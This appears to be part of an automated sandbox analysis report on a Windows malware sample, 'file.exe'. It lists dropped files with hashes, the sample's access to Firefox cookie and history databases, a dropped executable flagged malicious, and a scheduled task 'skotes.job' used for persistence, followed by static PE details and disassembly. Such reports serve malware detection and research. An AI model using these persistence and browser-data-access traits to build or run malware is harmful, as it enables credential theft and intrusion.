Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IyY.Y....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.Y....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.Y....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.Y..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........]........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 10:08:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.002624078346065
Encrypted:	false
SSDEEP:	48:8aw0dqWTKy37HHidAKZdA16ehDiZUkwqehpy+R:8jALlDy
MD5:	9D08CB85BA318E68D84D7BE24869D5DD
SHA1:	FCF4EC7DE1540AF8C023B84D57055AED2A2341DB
SHA-256:	C0D27A14FBE6DD2E13A009FEF6D9C30F262BA39693246C13D3F37FFDA4E84DA3
SHA-512:	AB162ACF96A5382640F6541D7E99896BAC50B99605227129D67A9D10307C4176130B70D9649E0A02AF7EDBC08F22098E3952C62202EFEC9239219B8194895973
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......Z?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IyY.Y....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.Y....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.Y....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.Y..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.Y...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........]........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 10:08:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9894784224009485
Encrypted:	false
SSDEEP:	48:8zw0dqWTKy37HHidAKZdA1UehBiZUk1W1qeh/y+C:8EALV9fy
MD5:	FFC3D58C16EB7BB2AAF0B0BED48B0195
SHA1:	E59AB85E91CF0AC21E82A4421FAF1F2C23B3913B
SHA-256:	1E9176E4D3F35F1E0E5268C05D62A6CF36492761AF715EC1D5EB9269EBD38E4A
SHA-512:	06C8B207DC72E7DFA63DC4EF10828FD6779DC96AD910A9F100269E8B47C82D723CC0BB15C2896FBE4D3BA7E72A0668FB8AD18CEDDD415D99BF47DADA85EFC6EC
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....i.Z?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IyY.Y....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.Y....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.Y....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.Y..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.Y...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........]........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 10:08:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9995816294903843
Encrypted:	false
SSDEEP:	48:8SNw0dqWTKy37HHidAKZdA1duTrehOuTbbiZUk5OjqehOuTbBy+yT+:8S6ALiTYTbxWOvTbBy7T
MD5:	59828B15851F2554DA894728D6C79741
SHA1:	3C6E9C50F1C485CAD34965D4EF111A538E527C87
SHA-256:	F552FC137787F58AF10819B87BB54B63C6694A944BB41C8C8B7782AEE6105306
SHA-512:	7B7E7C1FE2AB01E39319DB9445AAF48991FFB2D46F50A7D38A48BAF5DF16FEC993E37FD62DE551E63E9DB5D214CCC13ED8C9135CDE1E717BBAC3636F1E524E8A
Malicious:	false
Preview:	L..................F.@.. ...$+.,....bv.Z?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IyY.Y....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.Y....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.Y....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.Y..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.Y...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........]........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsCAEHDBAAEC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1910272
Entropy (8bit):	7.951025077802147
Encrypted:	false
SSDEEP:	49152:m5dUd3AaunFFlaGnp1sNA/b9deJJJaHj0aVm:mDUdAaspH/b9d
MD5:	9E17612D265863581FC761E5B94622D3
SHA1:	83C605DB6E0DF8C9547F4AD9DB9B46D1255A1E07
SHA-256:	5C2DF4701F0C81874096596AC9026C09EDC28D8BB95F6388CC41700391CCF6A9
SHA-512:	205454CE308FE6F6A39E3FF4BDFF1D0DFDDB12DFCF23D0A88A6D4CBF06B91E0EBEC9B4B2896F18893017ACD79D8E162C355C5A41CDAF96618CFB9CD02DC2FF84
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@..........................0L.....Hl....@.................................W...k.......D...................4.K...............................K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .0+.........................@...umzmfkfc......1.....................@...eqgvdfkx......K.....................@....taggant.0....L.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsCAEHDBAAEC.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4334307891203677
Encrypted:	false
SSDEEP:	6:Eqt/VX7L1UEZ+lX1CGdKUe6tkHs+Zgty0lB0pt0:EqtZ7BQ1CGAFBZgtVB0pt0
MD5:	594F8CFB4817B44EFFEB2F7B0169BB2C
SHA1:	ED6400FFB6C07BAA15BD6FB750BC037E9779DBAE
SHA-256:	D727DEF31E2C3DE295757BEB27D196B1FEBA8AAFB76D9F1850FFCBDAF5900461
SHA-512:	C2E4BAE622044BA54BAC5B8C68AAB07BE72FED85CBD561EF9909F41F832727EE5B1AF137D734F17E4022D8BC4FE2AE3704EDDF717E3879F3675D26B646AE47D6
Malicious:	false
Preview:	........^_.C....5..YF.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0...................@3P.........................

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3516)
Category:	downloaded
Size (bytes):	3521
Entropy (8bit):	5.829470723954184
Encrypted:	false
SSDEEP:	96:vci9livH6666kriIjMvgo41PEk8USUF96dYfPK9z0zffQffo:Ei7iH6666ciI91NEkzJ96YHK9A3
MD5:	E04541F3659C2275BCA2082561B793FF
SHA1:	DA94E8D30C9AB64A8C8BC9A521E7F4110343C5BE
SHA-256:	BDEBA290DE0FE782A1E91AD8BFE759B35319AB20F0291AE26BFE870DD13DB6BC
SHA-512:	12C00B21F88FF5062D89A45F05DFA2DA1F3F8A9DF27C0FD306AE2844431CF24465E5967B00979DB7FC286B6E49F475C599F5AA4B1AD0C36DF8B32690C9C853A5
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["wesley bryan pga tour card","walmart black friday deals ad","watch yellowstone season 5 episode 11","disney dreamlight valley","powerball jackpot lottery numbers","sec fines oklahoma football","nyt connections hints november","product recall"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMXE5dGQ3NXY2EgpWaWRlbyBnYW1lMssOZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0VRRURFUUgveEFBY0FBQUJCQU1CQUFBQUFBQUFBQUFBQUFBRUF3VUdCd0FCQWdqL3hBQTFFQUFDQVFJRUJBTUdCQWNCQUFBQUFBQUJBZ01FRVFBRkVpRUdFekZCTWxGeEJ5SmhZb0dSSXlSQ1VoVXpv

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132964
Entropy (8bit):	5.4349160393924745
Encrypted:	false
SSDEEP:	3072:fpkXyPqO7UX1Hme9kZbs4Voc52SnXqwQ2i6o:fiyWFHrp4Voc52SnawQ8o
MD5:	9D4C733D5E39028493B770D7968D640A
SHA1:	643D095E3056DAE9BDEED11AFB9E43E2C69B877B
SHA-256:	B681F8E8CC0900650C6C7D15B693856B0199BE2791A2C0B5605B951F2DB48965
SHA-512:	4CA5C1F5F068E5D2DA4AFEDDDFA0DB2F29D802010F230EA83EE82436B6A49E9D7EA14ABF9CB001A1D6231287923F3CDA2CD8EB7A0BA0C791248300FABEDF0291
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 479

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.951854225083344
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'833'472 bytes
MD5:	91b37d2cd25d901080a13743131a5229
SHA1:	0b77ba7424bf660b1bd8f4f6c01208cb8eaaef9e
SHA256:	d84a99942feba00f43b585deed2d7b44caa59488c61ec4d8b118b407d4f4c6f9
SHA512:	e6006d818362a4d5713fb2d41a8bde6db8d8a6961e7314741dd8719583a601b18775ef6ec7835c3db6ad6f6e8f7aedba67a3edc98d8e8faca7a825fbc0483323
SSDEEP:	24576:VZW/7lgxYZzCYjfy5n1jqa+cB7vEhZrUvzFqYsoXLpeI0gyBFSak1vk0S:VZuCAOYgn1+aXBEjyzFqS0Pcvr
TLSH:	938533747BCFFECED68AD43225B51A8C630B706A290E441DF15C4EFA42B9166A1E413F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF40D10E15Ah
psubusb mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007FF40D10E1C2h
push esi
dec edx
popad
je 00007FF40D10E1BBh
push edx
dec esi
jc 00007FF40D10E1CAh
cmp byte ptr [ebx], dh
push edx
jns 00007FF40D10E197h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007FF40D10E19Dh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007FF40D10E1A7h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007FF40D10E19Ch
dec eax
dec ebp
jo 00007FF40D10E193h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007FF40D10E1A0h
insd
jnc 00007FF40D10E1C0h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007FF40D10E1A8h
push edx
insb
js 00007FF40D10E1C1h
outsb
inc ecx
jno 00007FF40D10E1A2h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007FF40D10E19Ch
dec ebx
js 00007FF40D10E193h
jne 00007FF40D10E181h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007FF40D10E1ACh
